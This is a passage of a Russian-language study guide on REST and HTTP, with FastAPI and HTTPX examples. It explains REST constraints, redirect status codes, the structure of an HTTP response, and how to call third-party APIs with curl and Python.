отсутствие контекста      → stateless
прозрачные посредники     → layered system

Главная цель ограничений #

Каждое ограничение создаёт определённые свойства:

Но ограничения имеют и цену:

Uniform Interface
→ проще общее взаимодействие
→ менее эффективно для узкоспециализированных операций

Stateless
→ проще масштабировать
→ больше данных передаётся в каждом запросе

Layered System
→ гибкость инфраструктуры
→ дополнительные задержки

REST — это набор осознанных компромиссов, а не универсально лучший стиль для любой системы. По формулировке Филдинга, REST представляет собой согласованный набор ограничений, направленный на уменьшение задержек и сетевого взаимодействия при одновременном повышении независимости и масштабируемости компонентов.

Итог #

REST
    = архитектурный стиль
    = набор ограничений
    ≠ протокол
    ≠ JSON
    ≠ CRUD
    ≠ просто красивые URL

RESTful-система должна следовать следующим ограничениям:

Client–Server
Stateless
Cacheable
Uniform Interface
    ├── идентификация ресурсов
    ├── управление через представления
    ├── самодостаточные сообщения
    └── HATEOAS
Layered System
Code on Demand — необязательно

Центральная идея REST: клиент взаимодействует с ресурсами через передачу их представлений по единообразному интерфейсу, а переходы между состояниями приложения определяются доступными представлениями и гипермедиа.

11. Какой протокол обычно используется при построении REST API #

Обычно используется HTTP #

REST API чаще всего строят поверх HTTP, а в реальных системах — поверх защищённого HTTPS, то есть HTTP с шифрованием TLS.

Клиент
  ↓ HTTPS
REST API
  ↓
Ресурсы и бизнес-логика

REST сам по себе не является протоколом и теоретически не привязан к HTTP. Это архитектурный стиль. Однако он создавался на основе архитектуры Всемирной паутины, поэтому HTTP естественно реализует его ограничения.

Почему именно HTTP #

HTTP предоставляет необходимые элементы единообразного интерфейса:

GET    /users/42
POST   /users
PUT    /users/42
PATCH  /users/42
DELETE /users/42

• URI идентифицирует ресурс;

• метод определяет смысл операции;

• заголовки передают метаданные;

• тело содержит представление ресурса;

• статус-код сообщает результат;

• стандартные механизмы поддерживают кэширование и согласование форматов.

Пример запроса:

GET /api/users/42 HTTP/1.1
Host: example.com
Accept: application/json
Authorization: Bearer <access-token>

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: private, max-age=60

{
  "id": 42,
  "username": "alfob"
}

HTTP или HTTPS #

Корректнее различать:

HTTP  → протокол прикладного уровня
HTTPS → HTTP, передаваемый через защищённое соединение TLS

Для публичного API практически всегда должен использоваться HTTPS, особенно когда передаются:

• пароли;

• cookies;

• JWT;

• персональные данные;

• платёжная информация.

Без TLS содержимое HTTP-запросов может быть прочитано или изменено на пути между клиентом и сервером.

Версия HTTP не меняет REST-модель #

REST API может работать через:

HTTP/1.1
HTTP/2
HTTP/3

Семантика методов, URI, заголовков и статус-кодов остаётся общей для разных версий HTTP. RFC 9110 специально определяет HTTP-семантику независимо от конкретной версии передачи сообщений.

Итог #

REST        → архитектурный стиль
HTTP        → обычно используемый протокол
HTTPS       → HTTP с защищённой передачей через TLS
JSON        → распространённый, но необязательный формат данных

Следовательно, REST API обычно строится на HTTPS, используя семантику HTTP для работы с ресурсами.

12. Как сервер выполняет перенаправление браузера через HTTP-ответ? #

Как работает HTTP-перенаправление #

Сервер не «перемещает» браузер напрямую. Он возвращает HTTP-ответ с:

1. статус-кодом перенаправления;

2. заголовком Location, содержащим новый URI.

HTTP/1.1 302 Found
Location: /login
Content-Length: 0

Получив такой ответ, браузер обычно автоматически формирует новый HTTP-запрос по адресу из Location. Именно браузер, а не сервер, выполняет переход. RFC 9110 разрешает клиенту автоматически следовать Location в ответах перенаправления.

Последовательность запросов #

Клиент запрашивает закрытый ресурс:

GET /profile HTTP/1.1
Host: example.com

Сервер отвечает:

HTTP/1.1 302 Found
Location: /login

После этого браузер отправляет новый запрос:

GET /login HTTP/1.1
Host: example.com

Сервер возвращает страницу:

HTTP/1.1 200 OK
Content-Type: text/html

<html>...</html>

То есть перенаправление состоит из двух отдельных циклов request → response:

GET /profile
    ↓
302 Location: /login
    ↓
GET /login
    ↓
200 OK

Заголовок Location #

Location может содержать абсолютный URI:

Location: https://accounts.example.com/login

или относительную ссылку:

Location: /login

Относительная ссылка разрешается относительно URI исходного запроса. Для ответов 3xx значение Location указывает предпочтительный целевой ресурс перенаправления. ( RFC Editor)

Основные коды перенаправления #

Различие особенно важно после POST.

302 после POST #

Клиент отправляет форму:

POST /orders HTTP/1.1
Content-Type: application/json

{
  "product_id": 15
}

Сервер отвечает:

HTTP/1.1 302 Found
Location: /orders/1001

Исторически браузеры часто преобразуют следующий запрос в:

GET /orders/1001

Хотя старые определения 301 и 302 предполагали сохранение метода, распространённое браузерное поведение допускает замену POST на GET. Когда сохранение метода принципиально важно, используют 307 или 308.

303 See Other #

303 явно говорит клиенту получить другой ресурс через GET или HEAD:

POST /orders HTTP/1.1
Content-Type: application/json

{
  "product_id": 15
}

Ответ:

HTTP/1.1 303 See Other
Location: /orders/1001

Следующий запрос:

GET /orders/1001 HTTP/1.1

Это часто применяется в схеме Post/Redirect/Get:

POST — выполнить операцию
303  — перенаправить на результат
GET  — показать результат

Так обновление страницы не приводит к повторной отправке исходного POST. RFC 9110 прямо определяет 303 как переход к другому ресурсу посредством запроса на получение, обычно GET или HEAD.

307 и 308 #

Эти коды сохраняют исходный HTTP-метод и тело.

Исходный запрос:

POST /old-endpoint HTTP/1.1
Content-Type: application/json

{
  "value": 10
}

Ответ:

HTTP/1.1 307 Temporary Redirect
Location: /new-endpoint

Браузер повторяет:

POST /new-endpoint HTTP/1.1
Content-Type: application/json

{
  "value": 10
}

Разница:

307 → временное перенаправление
308 → постоянное перенаправление

Их следует применять, когда изменение POST на GET недопустимо.

Пример в FastAPI #

from fastapi import FastAPI
from fastapi.responses import RedirectResponse

app = FastAPI()


@app.get("/profile")
async def profile():
    return RedirectResponse(
        url="/login",
        status_code=302,
    )


@app.post("/orders")
async def create_order():
    order_id = 1001

    return RedirectResponse(
        url=f"/orders/{order_id}",
        status_code=303,
    )

FastAPI сформирует ответ примерно такого вида:

HTTP/1.1 303 See Other
Location: /orders/1001
Content-Length: 0

Тело ответа необязательно #

Ответ перенаправления может содержать HTML с обычной ссылкой:

HTTP/1.1 302 Found
Location: /login
Content-Type: text/html

<a href="/login">Перейти на страницу входа</a>

Это полезно для клиентов, которые не выполняют автоматическое перенаправление. Однако основным механизмом остаются статус-код и Location. RFC отмечает, что содержимое ответа перенаправления обычно может включать короткую гипертекстовую заметку со ссылкой.

Не каждый код 3xx означает переход на другой URL #

Например:

304 Not Modified

тоже относится к классу 3xx, но не перенаправляет браузер на другой ресурс. Он сообщает кэшу, что сохранённое представление можно использовать повторно.

Поэтому корректнее говорить:

перенаправление обычно выполняется
через определённый статус 3xx + Location

а не «любой ответ 3xx перенаправляет браузер».

Перенаправление и внутренний rewrite #

HTTP-перенаправление:

Браузер запрашивает /old
Сервер отвечает 301 Location: /new
Браузер запрашивает /new
URL в адресной строке изменяется

Внутреннее перенаправление или rewrite:

Браузер запрашивает /old
Сервер внутри обрабатывает запрос как /new
Сервер сразу отвечает 200
URL в браузере остаётся /old

При HTTP redirect возникает новый запрос от браузера. При rewrite маршрутизация изменяется только внутри сервера.

Итог #

1. Браузер отправляет запрос.
2. Сервер возвращает 301/302/303/307/308.
3. В ответе указывается Location.
4. Браузер читает Location.
5. Браузер создаёт новый HTTP-запрос.
6. Адресная строка изменяется на новый URL.

Главное различие кодов состоит в постоянстве перенаправления и в том, должен ли браузер сохранить исходный HTTP-метод:

303       → перейти через GET
307 / 308 → сохранить метод и тело
301 / 302 → исторически могут преобразовать POST в GET

13. Из чего состоит response в REST #

Из чего состоит response в REST API #

REST не определяет отдельный формат ответа. Обычно REST API работает поверх HTTP, поэтому response — это обычный HTTP-ответ.

Для HTTP/1.1 его структура выглядит так:

Status line
Headers

Body

Между заголовками и телом находится пустая строка. Тело необязательно.

Пример:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 46
Cache-Control: private, max-age=60

{
  "id": 42,
  "username": "alfob"
}

1. Status line — строка состояния #

HTTP/1.1 200 OK

Она содержит:

HTTP-version status-code reason-phrase

• HTTP/1.1 — версия HTTP;

• 200 — статус-код;

• OK — текстовое описание статуса.

Именно числовой статус-код определяет результат обработки запроса. Текстовая фраза OK, Not Found и подобные служит пояснением и не должна использоваться программой для определения результата.

Основные группы:

Примеры:

200 OK
201 Created
204 No Content
400 Bad Request
401 Unauthorized
403 Forbidden
404 Not Found
409 Conflict
422 Unprocessable Content
500 Internal Server Error

2. Headers — заголовки ответа #

Заголовки содержат метаданные ответа:

Content-Type: application/json
Content-Length: 46
Cache-Control: private, max-age=60
ETag: "user-42-v3"
Location: /users/42
Set-Cookie: session=abc123; HttpOnly; Secure

Распространённые заголовки:

Заголовки описывают ответ целиком или представление, находящееся в его теле.

3. Пустая строка #

В HTTP/1.1 после заголовков идёт пустая строка:

Content-Type: application/json
Content-Length: 46

{
  "id": 42
}

Она отделяет секцию заголовков от тела ответа. Даже когда тела нет, пустая строка завершает секцию заголовков.

4. Body — тело ответа #

Тело содержит представление ресурса или описание результата операции.

Чаще всего REST API возвращает JSON:

{
  "id": 42,
  "username": "alfob"
}

Но REST не требует именно JSON. Тело может содержать:

JSON
XML
HTML
CSV
PDF
изображение
видео
бинарный файл

Формат определяется заголовком Content-Type:

Content-Type: application/json

Content-Type: application/pdf

Content-Type: image/png

Смысл содержимого зависит от метода исходного запроса, статус-кода ответа и заголовков, описывающих представление.

У ответа не всегда есть body #

Некоторые ответы не содержат тело.

204 No Content #

HTTP/1.1 204 No Content

Используется, когда операция выполнена успешно, но возвращать представление не требуется.

Ответ на HEAD #

HEAD /users/42

Сервер возвращает заголовки, которые соответствовали бы GET, но без тела.

304 Not Modified #

HTTP/1.1 304 Not Modified
ETag: "user-42-v3"

Клиент должен использовать ранее закэшированное представление.

Ответы на HEAD, а также ответы со статусами 1xx, 204 и 304 не содержат тело сообщения.

Пример успешного получения ресурса #

Запрос:

GET /users/42 HTTP/1.1
Host: api.example.com
Accept: application/json

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json
ETag: "user-42-v3"
Cache-Control: private, max-age=60

{
  "id": 42,
  "username": "alfob",
  "is_active": true
}

Структура:

HTTP/1.1 200 OK                 → строка состояния
Content-Type: application/json  → заголовок
ETag: "user-42-v3"              → заголовок
Cache-Control: ...              → заголовок
                                 → пустая строка
{ ... }                         → тело

Пример создания ресурса #

HTTP/1.1 201 Created
Location: /users/42
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

Здесь:

• 201 Created сообщает об успешном создании;

• Location указывает URI созданного ресурса;

• body содержит его представление.

Пример ошибки #

HTTP/1.1 404 Not Found
Content-Type: application/problem+json

{
  "type": "https://api.example.com/problems/user-not-found",
  "title": "User not found",
  "status": 404,
  "detail": "User with ID 42 does not exist"
}

Тело ошибки не имеет обязательной REST-структуры. API самостоятельно определяет её контракт. Для стандартизированного описания HTTP-ошибок может применяться формат application/problem+json.

Важно не дублировать противоречащие значения:

HTTP/1.1 404 Not Found

{
  "status": 200
}

Клиент прежде всего должен ориентироваться на HTTP-статус ответа.

Представление ресурса и служебная обёртка #

API может вернуть непосредственно ресурс:

{
  "id": 42,
  "username": "alfob"
}

Или использовать прикладную обёртку:

{
  "data": {
    "id": 42,
    "username": "alfob"
  },
  "meta": {
    "request_id": "c7e84f"
  }
}

Такая обёртка является решением конкретного API, а не обязательным требованием REST.

Для коллекции часто возвращают:

{
  "items": [
    {
      "id": 41,
      "username": "user1"
    },
    {
      "id": 42,
      "username": "user2"
    }
  ],
  "pagination": {
    "limit": 20,
    "offset": 0,
    "total": 154
  }
}

Trailers — завершающие поля #

HTTP также допускает trailer-поля, передаваемые после содержимого сообщения. Они применяются значительно реже заголовков, например когда значение можно вычислить только после формирования тела.

Условно:

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Trailer: Digest

...тело ответа...

Digest: sha-256=...

Для большинства REST API структура обычно ограничивается статусом, заголовками и необязательным телом.

Особенность HTTP/2 и HTTP/3 #

Запись:

HTTP/1.1 200 OK

относится к текстовому формату HTTP/1.1.

В HTTP/2 нет текстовой status line. Статус передаётся в специальном псевдозаголовке:

:status: 200
content-type: application/json

Заголовки и содержимое передаются бинарными кадрами. Однако на уровне приложения смысл остаётся тем же:

статус
+ поля ответа
+ необязательное содержимое

HTTP/2 требует присутствия единственного псевдозаголовка :status в каждом ответе.

Итоговая структура #

Для обычного REST API поверх HTTP response состоит из:

1. Статус ответа
2. Заголовки
3. Пустая строка в HTTP/1.1
4. Необязательное тело
5. Необязательные trailer-поля

Практически важная модель:

HTTP response
├── status code
├── headers
└── body — необязательно

REST определяет архитектурные ограничения взаимодействия, но конкретную структуру сообщения в таком API обычно предоставляет HTTP.

14. Как вызывать сторонний API напрямую? #

Что означает «вызвать сторонний API напрямую» #

Это значит, что ваше приложение самостоятельно формирует HTTP-запрос к endpoint другого сервиса:

Ваше приложение
      │ HTTP/HTTPS-запрос
      ▼
Сторонний API
      │ HTTP-ответ
      ▼
Ваше приложение

Для вызова нужно знать:

• URL endpoint;

• HTTP-метод;

• способ аутентификации;

• query-параметры;

• формат тела;

• ожидаемые статус-коды и структуру ответа.

Общая последовательность #

1. Изучить документацию API
2. Получить API key или access token
3. Сформировать HTTP-запрос
4. Установить timeout
5. Отправить запрос
6. Проверить status code
7. Десериализовать ответ
8. Обработать сетевые ошибки и ограничения API

Пример запроса:

GET /v1/users/42?include=profile HTTP/1.1
Host: api.example.com
Accept: application/json
Authorization: Bearer <access-token>

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

Через curl #

Для быстрой ручной проверки API удобно использовать curl.

GET-запрос:

curl --request GET \
  --url "https://api.example.com/v1/users/42" \
  --header "Accept: application/json" \
  --header "Authorization: Bearer ACCESS_TOKEN"

POST с JSON:

curl --request POST \
  --url "https://api.example.com/v1/orders" \
  --header "Content-Type: application/json" \
  --header "Authorization: Bearer ACCESS_TOKEN" \
  --data '{
    "product_id": 15,
    "quantity": 2
  }'

Чтобы увидеть заголовки ответа:

curl --include "https://api.example.com/v1/users/42"

curl позволяет формировать HTTP-запросы из командной строки, а параметр --include выводит заголовки ответа вместе с содержимым.

Синхронный вызов на Python через HTTPX #

from typing import Any

import httpx


def get_user(user_id: int, access_token: str) -> dict[str, Any]:
    url = f"https://api.example.com/v1/users/{user_id}"

    headers = {
        "Accept": "application/json",
        "Authorization": f"Bearer {access_token}",
    }

    try:
        response = httpx.get(
            url,
            headers=headers,
            timeout=10.0,
        )

        response.raise_for_status()
        return response.json()

    except httpx.TimeoutException as exc:
        raise RuntimeError("Сторонний API не ответил вовремя") from exc

    except httpx.HTTPStatusError as exc:
        raise RuntimeError(
            f"Сторонний API вернул статус "
            f"{exc.response.status_code}"
        ) from exc

    except httpx.RequestError as exc:
        raise RuntimeError(
            "Не удалось выполнить запрос к стороннему API"
        ) from exc

raise_for_status() генерирует исключение для ошибочных HTTP-статусов, а response.json() десериализует JSON-ответ. HTTPX также поддерживает query-параметры, заголовки, JSON-тела и настраиваемые тайм-ауты.

GET с query-параметрами #

Не следует собирать query string вручную:

import httpx

params = {
    "status": "active",
    "limit": 20,
    "offset": 0,
}

response = httpx.get(
    "https://api.example.com/v1/users",
    params=params,
    timeout=10.0,
)

response.raise_for_status()
users = response.json()

HTTPX самостоятельно выполнит URL-кодирование:

https://api.example.com/v1/users?status=active&limit=20&offset=0

Передача query-параметров через params описана в официальной документации HTTPX. ( HTTPX)

POST с JSON #

import httpx

payload = {
    "product_id": 15,
    "quantity": 2,
}

response = httpx.post(
    "https://api.example.com/v1/orders",
    json=payload,
    headers={
        "Authorization": "Bearer ACCESS_TOKEN",
        "Accept": "application/json",
    },
    timeout=10.0,
)

response.raise_for_status()
order = response.json()

Параметр json=:

1. сериализует словарь в JSON;

2. помещает его в тело запроса;

3. устанавливает соответствующий Content-Type.

Для HTML-форм обычно используется data=:

response = httpx.post(
    "https://api.example.com/oauth/token",
    data={
        "grant_type": "client_credentials",
        "client_id": "client-id",
        "client_secret": "client-secret",
    },
)

JSON и form-urlencoded — разные форматы тела. Какой из них использовать, определяет документация конкретного API.

Асинхронный вызов через HTTPX #

В асинхронном приложении, например FastAPI, обычно используется httpx.AsyncClient:

from typing import Any

import httpx


async def get_user(
    client: httpx.AsyncClient,
    user_id: int,
    access_token: str,
) -> dict[str, Any]:
    response = await client.get(
        f"https://api.example.com/v1/users/{user_id}",
        headers={
            "Authorization": f"Bearer {access_token}",
            "Accept": "application/json",
        },
    )

    response.raise_for_status()
    return response.json()

HTTPX рекомендует использовать асинхронный клиент при работе внутри асинхронного веб-фреймворка.

Пример в FastAPI #

Не следует создавать новый AsyncClient на каждый запрос:

@app.get("/users/{user_id}")
async def get_user(user_id: int):
    async with httpx.AsyncClient() as client:
        ...

Это работает, но при высокой нагрузке мешает эффективно переиспользовать соединения.

Лучше создать один клиент на время жизни приложения:

from contextlib import asynccontextmanager
from typing import AsyncIterator

import httpx
from fastapi import FastAPI, HTTPException


@asynccontextmanager
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
    app.state.http_client = httpx.AsyncClient(
        base_url="https://api.example.com",
        timeout=httpx.Timeout(10.0),
        headers={
            "Accept": "application/json",
        },
    )

    try:
        yield
    finally:
        await app.state.http_client.aclose()


app = FastAPI(lifespan=lifespan)


@app.get("/external-users/{user_id}")
async def get_external_user(user_id: int):
    client: httpx.AsyncClient = app.state.http_client

    try:
        response = await client.get(
            f"/v1/users/{user_id}",
            headers={
                "Authorization": "Bearer ACCESS_TOKEN",
            },
        )

        response.raise_for_status()

    except httpx.TimeoutException:
        raise HTTPException(
            status_code=504,
            detail="External API timeout",
        )

    except httpx.HTTPStatusError as exc:
        if exc.response.status_code == 404:
            raise HTTPException(
                status_code=404,
                detail="External user not found",
            )

        raise HTTPException(
            status_code=502,
            detail="External API returned an error",
        )

    except httpx.RequestError:
        raise HTTPException(
            status_code=502,
            detail="External API is unavailable",
        )

    return response.json()

Client и AsyncClient используют пул соединений и переиспользуют существующие TCP-соединения, что уменьшает задержки и накладные расходы. HTTPX отдельно рекомендует не создавать клиентов внутри часто выполняющегося цикла.

Аутентификация #

Bearer token #

headers = {
    "Authorization": f"Bearer {access_token}",
}

API key в заголовке #

headers = {
    "X-API-Key": api_key,
}

API key в query-параметре #

params = {
    "api_key": api_key,
}

Последний вариант следует использовать только тогда, когда этого требует API: URL может попасть в журналы, историю и системы мониторинга.

Basic Authentication #

response = httpx.get(
    "https://api.example.com/v1/resource",
    auth=("username", "password"),
)

HTTPX предоставляет встроенную поддержку Basic и Digest Authentication.

Как обрабатывать статус-коды #

Не следует считать любой полученный ответ успешным:

response = await client.get("/v1/users/42")

if response.status_code == 200:
    return response.json()

if response.status_code == 404:
    return None

if response.status_code == 401:
    raise ExternalAuthenticationError()

if response.status_code == 429:
    raise ExternalRateLimitError()

if response.status_code >= 500:
    raise ExternalServiceUnavailableError()

Типичная интерпретация:

Timeout обязателен #

Внешний сервис может:

• долго отвечать;

• не принять соединение;

• зависнуть во время передачи данных;

• стать временно недоступным.

Поэтому запрос должен иметь ограничение времени:

timeout = httpx.Timeout(
    connect=3.0,
    read=10.0,
    write=10.0,
    pool=3.0,
)

async with httpx.AsyncClient(timeout=timeout) as client:
    response = await client.get(
        "https://api.example.com/v1/resource"
    )